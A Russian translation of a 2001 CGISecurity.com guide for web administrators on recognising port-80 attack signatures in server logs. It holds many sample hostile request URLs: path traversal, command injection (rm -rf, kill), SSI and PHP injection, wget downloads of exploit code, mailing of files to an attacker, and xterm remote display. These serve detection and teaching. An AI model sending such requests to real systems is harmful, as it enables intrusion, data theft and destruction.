Автор: CGISecurity.com
                "Сигнатуры Атак на Порт 80:
   Обзор сигнатур атак на веб-серверы и веб-приложения".






I.   Введение
II.  Общие Сигнатуры
III. Продвинутые Сигнатуры
IV.  Переполнения
V.   Шестнадцатиричное Кодирование
VI.  Заключение





I. Введение:


Порт 80 - это стандартный порт для веб-сайтов, и он может иметь множество
различных вопросов безопасности. Эти дыры могут позволить атакующему по-
лучить какой-либо административный доступ к веб-сайту, или даже к самому
веб-серверу. В этом документе рассматриваются некоторые сигнатуры, испо-
льзуемые в этих атаках, и что нужно искать в ваших логах.




II. Общие Сигнатуры:


В этом разделе приводятся примеры общих сигнатур, используемых для ком-
прометирования как веб-приложений, так и веб-серверов. Этот раздел предс-
тавлен отнюдь не для того, чтобы показать вам все возможные сигнатуры,
вместо этого вам будет предложено рассмотреть то, как выглядят большинс-
тво эксплоитов и атак. Сигнатуры выбраны из большинства известных и неиз-
вестных дыр, которые атакующий может использовать против вас. В данном
разделе также описывается то, для чего используется каждая сигнатура, или
как она может использоваться в атаке.




"."  ".." и "..." Запросы

Это наиболее общие сигнатуры атаки при злоупотреблении как веб-приложени-
ем, так и веб-сервером. Имеют обыкновение позволять атакующему или червю
перемещаться по директориям в пределах вашего веб-сервера для получения
доступа к разделам, которые могут быть не представлены для публичного
просмотра. Большинство дыр CGI будут содержать некоторые ".." запросы.

Ниже приведен пример.

* http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

Это покажет атакующему запрошенный им файл "Сообщение Дня" вашего веб-
сервера. Если атакующий имеет возможность перемещаться по директориям за
пределами корневой директории вашего веб-сервера, то он возможно, сможет
собрать достаточно информации для получения дальнейших привилегий.




"%20" Запросы

Это шестнадцатиричное значение символа пробела. При этом, обнаружение
этих символов в ваших логах, отнюдь не означает, что ваша машина была
атакована. Некоторые веб-приложения, запущенные вами, могут использо-
вать эти символы в нормальных запросах, так что тщательнее проверяйте
свои логи. С другой стороны, этот запрос редко используется для вы-
полнения команд.

Ниже приведен пример.


* http://host/cgi-bin/lame.cgi?page=ls%20-al|
(Эта строка представляет собой выполнение команды ls -al на системе Unix)

Пример демонстрирует выполнение атакующим команды ls на Unix с некоторыми
аргументами. Аргумент, приведенный выше, при запросе выдаст атакующему
полный список файлов в директории. Это может позволить атакующему получи-
ть доступ к важным файлам вашей системы и может дать ему идею получения
более высоких привилегий.



"%00" Запросы

Это шестнадцатиричное значение нулевого байта. Он может использоваться
для одурачивания веб-сервера, думающего, что был запрошен другой тип
файла.


Ниже приведен пример.

* http://host/cgi-bin/lame.cgi?page=index.html

Представленный пример может быть корректным запросом на этой машине.
Если атакующий увидит подобное поведение, то он несомненно изучит это
приложение для поиска дыры в нем.

* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

Веб-приложение может отвергнуть этот запрос, поскольку оно проверяет
чтобы в конце имени файла стояло расширение .htm, .html, .shtml или
еще какое-нибудь. Чаще всего приложение сообщает вам, что это непра-
вильный тип файла для этого приложения. Часто оно говорит атакующему
что файл должен заканчиваться определенным расширением. Отсюда ата-
кующий может собрать пути сервера, имена файлов и, возможно, собрать
больше информации о вашем сервере.


* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html

Эта хитрость в составлении запроса заставляет приложение думать, что
запрошенный вами файл относится к категории разрешенных встроенных
типов файлов. Некоторые веб-приложения производят недостаточную про-
верку на правильность запрошенного файла, благодаря чему этот метод
очень часто используется атакующими.



"|" Запросы

Это символ канала, который часто используется в Unix для того, чтобы
выполнить многочисленные команды в одно и то же время при помощи все-
го одного запроса.

Пример: #cat access_log| grep -F "/../"

(Это показывает проверку логов на наличие запросов .. , которые часто
используются нападающими и червями). Часто этот символ используется
вашими же веб-приложениями, что может вызвать ложные сигналы тревоги
в логах вашей IDS. Тщательное исследование вашего программного обес-
печения и его поведения - хорошая идея для сокращения числа ложных
тревог.

Ниже несколько примеров.

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|

Этот запрос выполняет команду ls без аргументов.
Ниже представлена другая вариация этого типа запроса.

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|

Этот запрос выводит полный список файлов в директории "etc" на сис-
теме Unix.

* http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"

Этот запрос выполняет команду "cat", а затем команду "grep" с аргу-
ментом -i.



";" Запросы

Этот символ позволяет указание на выполнение нескольких команд в одной
строке на системе Unix. Пример: #id;uname -a (Это выполнит команду "id"
после чего будет выполнена команда "uname"). Очень часто веб-приложения
будут использовать этот символ и, возможно, будут давать ложные сигналы
тревоги в логах вашей IDS. Опять же тщательное исследование вашего про-
граммного обеспечения и его поведения - хорошая идея для сокращения
числа ложных тревог.



"<" и ">" Запросы

Наличие этих символов должно постоянно проверяться в логах по мно-
жеству причин; первая - эти символы используются для добавления
данных в файл.

Пример 1: #echo "your hax0red h0 h0" >> /etc/motd

(Здесь показано выполнение запроса на запись информации в этот
файл). Атакующий может просто использовать запрос, подобный этому,
для дефейса вашаего веб-сайта. Знаменитый RDS эксплоит, написанный
rain.forest.puppy часто использовался атакующими для помещения ин-
формации на главные страницы веб-сайтов. Проверьте attrition.org и
поищите хакнутые веб-сайты со страницами, состоящими из чистого
текста, без форматирования, например.

Пример 2: http://host/something.php=<b>Hi%20mom%20I'm%20Bold!</b>

Этот запрос показывает пример перекрестной атаки сайта при помощи
средств описания. Вы можете обратить внимание, что здесь использо-
ваны тэги html, использующие символы "<" и ">". Хотя этот тип
атаки и не предоставит атакующему доступа к системе, он может ис-
пользоваться для одурачивания людей, думающих, что определенная
информация на веб-сайте верна. (Конечно, они должны будут пройти
по ссылке, выбранной атакующим. Запрос может быть замаскирован пу-
тем кодирования символов в шестнадцатиричные значения, так чтобы
это не было так очевидно).



"!" Запросы

Этот символ часто используется в SSI (Включения Сервера) атаках. Эти
атаки могут позволить атакующему получить схожие результаты с перек-
рестной атакой сайта при помощи средств описания, если атакующий
одурачит пользователя, щелкнувшего по ссылке.


Ниже приведен пример..

http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->

Это пример того, что может сделать атакующий. По большому счету это
включение файла из host2, делающее возможным вставку его в host1.
(Конечно, они должны будут пройти по ссылке, выбранной атакующим.
Запрос может быть замаскирован путем кодирования символов в шест-
надцатиричные значения, так чтобы это не было так очевидно).


Это также может позволить ему выполнить команды в вашей системе с
привилегиями пользователя, под которым запущен ваш веб-сервер.

Ниже приведен пример.

http://host/something.php=<!%20#<!--#exec%20cmd="id"-->

Это пример выполнения команды "id" на удаленной системе. Это
покажет идентификатор пользователя, запустившего веб-сервер,
который обычно равен "nobody" или "www".


Это также может позволить включение скрытых файлов.

Ниже приведен пример..

http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->

Это включение файла .htpasswd. Этот файл обычно не открыт на
чтение для всех, а apache даже имеет встроенное правило, отвер-
гающее запросы .ht. Тэг SSI позволяет обойти это, что может
привести к серьезным нарушениям системы безопасности.



"<?" Запросы

Это часто включается при попытке вставки php в удаленное веб-
приложение. В зависимости от установок сервера и других фак-
торов, возможно выполнение команд.

Ниже приведен пример..

http://host/something.php=<? passthru("id");?>

В слабо написанном приложении php возможно выполнение этой
команды локально на удаленном хосте с привилегиями пользова-
теля, запустившего веб-сервер.


В добавок ко всему, атакующий может закодировать этот запрос
в шестнадцатиричные значения. Произведите проверку на наличие
чего-либо необычного и исследуйте все, что выглядит подозри-
тельно.

"`" Запросы

Символ обратной метки часто используется в perl для выполне-
ния команд. Этот символ обычно не используется в каком-либо
правильном веб-приложении, так что если вы обнаруживаете его
использование в своих логах, то, возможно, дело серьезно.

Ниже приведен пример.

http://host/something.cgi=`id`

В слабо написанном веб-приложении на perl это должно выпол-
нить команду "id".



III. Продвинутые Сигнатуры:


Этот раздел по большей части фокусируется на командах, выполняемых
атакующим, вместе с файлами, которые могут быть запрошены, и как
обнаружить, что вы уязвимы к удаленному выполнению команд. Хотя
это и не полный список команд или файлов, которые может запросить
атакующий, вы получите хорошее представление того, что может слу-
читься, или что может быть предпринято против вашей системы.


* Общие команды, которые могут быть выполнены атакующим или червем.


"/bin/ls"

Это - бинария команды ls. Очень часто запрашивается в полных путях
для множества общих дыр веб-приложений. Если вы встречаете этот
запрос где-либо в своих логах, то это дает неплохие шансы того, что
ваша система может быть подвержена ошибкам, позволяющим удаленное
выполнение команд. Это не всегда означает проблему и может быть
просто ложной тревогой. Исследование вашего веб-приложения может
дать вам ответы на ваши вопросы. Если возможно, протестируйте зап-
рос, обнаруженный в логах, и проверьте вывод на возможное выполне-
ние.

Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
Пример: http://host/cgi-bin/bad.cgi?doh=ls%20-al;

"cmd.exe"

Это командный интерпретатор windows. Если атакующий получит доступ
на запуск этого скрипта, то он может сделать очень многое на win-
dows машине, в зависимости от прав доступа на сервере. Большинство
интернет червей связываются с портом 80, используя cmd.exe для
продвижения инфицирования самими собой других удаленных систем.

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\

"/bin/id"

Это - бинария команды id. Очень часто запрашивается в полных путях
для множества общих дыр веб-приложений. Если вы встречаете этот
запрос где-либо в своих логах, то это дает неплохие шансы того, что
ваша система может быть подвержена ошибкам, позволяющим удаленное
выполнение команд. Это не всегда означает проблему и может быть
просто ложной тревогой. Исследование вашего веб-приложения может
дать вам ответы на ваши вопросы. Если возможно, протестируйте зап-
рос, обнаруженный в логах, и проверьте вывод на возможное выполне-
ние.


Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
Пример: http://host/cgi-bin/bad.cgi?doh=id;

"/bin/rm"

Это - бинария команды rm. Очень часто запрашивается в полных путях
для множества общих дыр веб-приложений. Если вы встречаете этот
запрос где-либо в своих логах, то это дает неплохие шансы того, что
ваша система может быть подвержена ошибкам, позволяющим удаленное
выполнение команд. Это не всегда означает проблему и может быть
просто ложной тревогой. Эта команда, с другой стороны, позволяет
удаление файлов и является очень опасной при неправильном использо-
вании, или при использовании атакующим. Если возможно, протестируй-
те запрос, обнаруженный в логах, и проверьте вывод на возможное вы-
полнение. Если запрошен важный файл, то вам не стоит тестировать
команду на нем. Если это удаление файла с именем stupid.txt, а его
не обнаруживается в пределах веб-сайта, с которого он был запрошен,
создайте файл и протестируйте его.

Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
Пример: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

Команды "wget и tftp"

Эти команды часто используются атакующими и червями для скачивания
дополнительных файлов, которые могут использоваться для получения
дальнейших привилегий в системе. wget - это команда Unix, которая
может использоваться для скачивания бэкдора. tftp - это команда
Unix и NT, которая используется для скачивания файлов. Некоторые
IIS черви используют эту tftp команду для копирования самих себя
на подверженный ошибке хост для продолжения распространения.

Пример: http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
Пример: http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;

Команда "cat"

Эта команда часто используется для просмотра содержимого файлов.
Она может быть использована для чтения важной информации, такой
как конфигурационные файлы, файлы паролей, файлы кредитных карт,
и всего того, что еще можно прочитать.

Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
Пример: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

Команда"echo"

Эта команда часто используется для добавления данных к файлам,
таким как, например, index.html.

Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
Пример: http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

Команда "ps"

Эта команда показывает список запущенных процессов. Она может
сказать атакующему, запущено ли на удаленном хосте какое-либо
программное обеспечение, связанное с безопасностью, а также
даст ему некоторое представление о других дырах в безопаснос-
ти, которые может иметь этот хост.

Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
Пример: http://host/cgi-bin/bad.cgi?doh=ps%20-aux;

Команды "kill и killall"

Эти команды используются для останова процессов на системе
Unix. Атакующий может воспользоваться ими для останова сис-
темного сервиса или программы. Атакующий также может испо-
льзовать эту команду для заметания своих следов, если экс-
плоит, используемый им, порождает множество дочерних про-
цессов или работает ненормально.

Пример: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
Пример: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

Команда "uname"

Эта команда часто используется нападающим для того, чтобы
узнать имя хоста удаленной системы. Часто веб-сайт хостит-
ся у провайдера и эта команда может дать представление о
том, к какому провайдеру он может иметь доступ. Обычно зап-
рашивается uname -a и она может появиться в логах как
"uname%20-a".

Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
Пример: http://host/cgi-bin/bad.cgi?doh=uname%20-a;

"cc, gcc, perl, python, етс..."  Команды Компиляторов/Интерпретаторов

Команды "cc" и "gcc" позволяют компилировать программы. Атакующий
может использовать wget или tftp для скачивания файлов, а затем ис-
пользовать эти компиляторы для компиляции эксплоита. На данном этапе
возможно многое, включая локальное использование уязвимостей системы.


Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
Пример: http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;

Если вы видите в логах запрос интерпретаторов "perl" или "python",
то вполне возможно, что атакующий скачал удаленный perl или python
скрипт и пытается воспользоваться локальными уязвимостями вашей
системы.



Команда "mail"

Эта команда может использоваться атакующим для отправки по почте
файлов на почтовый адрес атакующего. Это может также использо-
ваться для рассылки спама, и спаммера, использующего этот способ
будет очень непросто обнаружить.

Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd|
Пример: http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu-2.6.1.c;

Команды "xterm/Другие X приложения"

Xterm часто используется с целью получения доступа к оболочке
удаленной системы. Если вы видите это в своих логах, то долж-
ны отнестись очень серьезно к этому, так как вполне возможно
нарушение в системе безопасности. Просмотрите логи на наличие
в них запроса, содержащего такую строку: "%20-display%20".
Эта сигнатура часто используется для запуска xterm или любого
другого X приложения на удаленном хосте.

Пример: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
Пример: http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;

Команды "chown, chmod, chgrp, chsh, етс..."

Эти команды позволяют изменять права доступа в системе Unix.
Ниже описание назначения каждой из них.

chown = позволяет установить владельца файла.
chmod = позволяет устанавливать права доступа.
chgrp = позволяет изменять группу-владельца.
chsh = позволяет пользователю изменить оболочку, используемую им.

Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
Пример: http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
Пример: http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|


* Общие файлы, запрашиваемые атакующим.


Файл "/etc/passwd"

Файл паролей системы. Обычно он затенен и не предоставляет зашифрованных
паролей атакующему. С другой стороны, он дает атакующему представление о
существующих именах пользователей, системных путях и, возможно, хостящих-
ся сайтах. Если этот файл затенен, что бывает в большинстве случаев, то
атакующий попытается просмотреть файл /etc/shadow.


"/etc/master.passwd"

Файл паролей BSD системы, содержащий зашифрованные пароли. Этот файл мо-
жет быть прочитан только пользователем с акаунтом root, но неопытный на-
падающий может проверить этот файл в надежде его прочитать. Если веб-
сервер запущен под пользователем "root", то атакующий сможет прочитать
этот файл и у системного администратора прибавится проблем.

"/etc/shadow"

Системный файл паролей, содержащий зашифрованные пароли. Этот файл мо-
жет быть прочитан только пользователем с акаунтом root, но неопытный на-
падающий может проверить этот файл в надежде его прочитать. Если веб-
сервер запущен под пользователем "root", то атакующий сможет прочитать
этот файл и у системного администратора прибавится проблем.


"/etc/motd"

Системный файл "Сообщение Дня", содержащий первое сообщение, которое
видят пользователи при регистрации в системе Unix. Он может предоста-
вить важную информацию, которую, по мнению администратора, должны ви-
деть пользователи, вместе с версией операционной системы. Атакующие
будут часто проверять этот файл для того, чтобы узнать название и вер-
сию работающей операционной системы. На данном этапе они займутся ис-
следовать ОС и сбором эксплоитов, которые могут использоваться для
получения более высоких прав доступа к системе.


"/etc/hosts"

Этот файл предоставляет информацию об адресах ip и сетевую информацию.
Атакующий может использовать эту информацию для углубления своих поз-
наний о вашей системе/настройках сети.


"/usr/local/apache/conf/httpd.conf"

Путь к этому файлу варьируется на разных системах, но это наиболее об-
щий путь. Это конфигурационный файл веб-сервера Apache. Он дает атаку-
ющему представление о том, какие веб-сайты хостятся на сервере, а так-
же любую другую специальную информацию подобно разрешению CGI или SSI
доступа.


"/etc/inetd.conf"

Это конфигурационный файл сервиса inetd. В этом файле перечислены сис-
темные Демоны, использующиеся для удаленного доступа к системе. Он
также может показать использует ли удаленная система раппер (wrapper)
для каждого демона. Если раппер обнаружен при использовании, атакующий
следующим шагом проверит "/etc/hosts.allow" и "/etc/hosts.deny", и
возможно модифицирует эти файлы для получения им более высоких приви-
легий.


".htpasswd, .htaccess, and .htgroup"

Эти файлы используются для парольной аутентификации на веб-сайте. Ата-
кующий попытается просмотреть содержимое этих файлов для получения
как имен пользователей, так и паролей. Пароли расположены в файле
htpasswd и зашифрованы. Простой взломщик паролей и немного времени
предоставят атакующему доступ к определенным разделам вашего веб-сайта,
защищенным паролями, и, возможно, другой акаунт. (Многие люди исполь-
зуют одни и те же имена пользователей и пароли для всего, и очень часто
случается что это может дать атакующему доступ к другим акаунтам, кото-
рые имеет этот пользователь.)


"access_log and error_log"

Это лог-файлы веб-сервера apache. Атакующий будет часто проверять ло-
ги для того, чтобы увидеть, какие его запросы были зарегистрированы,
а также все остальные. Часто атакующий редактирует логи и удаляет лю-
бые упоминания в них его имени хоста. Определение вторжения атакующе-
го в вашу систему через порт 80 становится весьма затруднительным,
если только эти файлы не копируются или если логи не ведутся в два
разных места.


"[буква_диска]:\winnt\repair\sam._ или [буква_диска]:winnt\repair\sam"

Это имя файла паролей Windows NT. Атакующие будут часто запрашивать
этот файл если удаленное выполнение команд невозможно. На данном эта-
пе обычно запускается программа подобно "l0pht crack" для взлома па-
роля удаленной windows машины. Если атакующему удается взломать па-
роль администратора, то удаленная машина теперь полностью в его рас-
поряжении.


IV. Переполнения:

Я не собираюсь особо углубляться в переполнения буфера в этом докумен-
те, но я покажу примеры некоторых типов поведения. Переполнения буфера
могут часто затемняться путем кодирования и при использовании других
трюков.

Ниже приведен простой пример.

Пример:


http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Здесь видно как атакующий подает множество букв A на ваше приложение
для проверки его на наличие возможности переполнения буфера. Перепол-
нение буфера может предоставить атакующему удаленное выполнение кома-
нд. Если это suid приложение и если его владелец - root, то это может
дать атакующему полный доступ к системе. В противном случае у него
появляется возможность выполнять команды с правами пользователя, за-
пустившего веб-сервер.

Вариации переполнений буфера выглядят примерно так, но в этом доку-
менте я не планирую покрывать каждый возможный пример. Отличной идеей
будет регулярная проверка ваших логов. Если вы видите огромные запро-
сы, а ваш сайт обычно получает небольшие запросы, это может быть по-
пытка проверки атакующим ваших приложений на наличие возможности пе-
реполнения буфера, или, возможно, новый вариант червя, поражающего
вашу машину.



V. Шестнадцатиричное Кодирование:

Со всеми пояснениями, сделанными выше на тему отпечатков, атакующие
знают, что системы IDS часто проверяют такие запросы буквальным спо-
способом. Зачастую атакующий кодирует его запрос в шестнадцатиричную
систему, так чтобы система IDS проигнорировала его запрос. Сканер
CGI известный как Whisker лучший пример такому. Если вы, просматривая
свои логи, замечаете огромной количество шестнадцатиричных или нео-
бычных символов, то это может означать, что атакующий пытается ском-
прометировать вашу систему некоторым способом. Быстрым путем проверки
того, для чего предназначены эти шестнадцатиричные значения, будет
копирование их из ваших логов, и последующая вставка в адресной стро-
ке браузера при посещении вашего сайта. Если не появляется обычных
404 страниц, то шестнадцатиричное значение будет переведено и вы смо-
жете точно увидеть что это за запрос, вместе с его выводом. Если вы
не хотите рисковать, то простая команда man ascii предоставит вам
примеры соответствующих кодирований.



VI. Заключение:

В этом документе не покрываются все возможные эксплоиты порта 80, но
в нем рассматриваются наиболее общие типы атак. Здесь также сообща-
ется то, что вам необходимо проверять в ваших логах, и дается идея
того, что нужно добавить к правилам вашей IDS. Он написан с целью
помочь администратору веб-сервера получить представление по этому
вопросу. Я также надеюсь, что этот документ поможет веб-разработчи-
кам лучше писать веб-приложения. Я записал этот документ примерно
за час в Воскресенье, так что если у вас есть какие-либо коммента-
рии или предложения пишите мне на admin@cgisecurity.com.




Издано для Публичного Просмотра в Ноябре 2001
Copyright Ноябрь 2001 Cgisecurity.com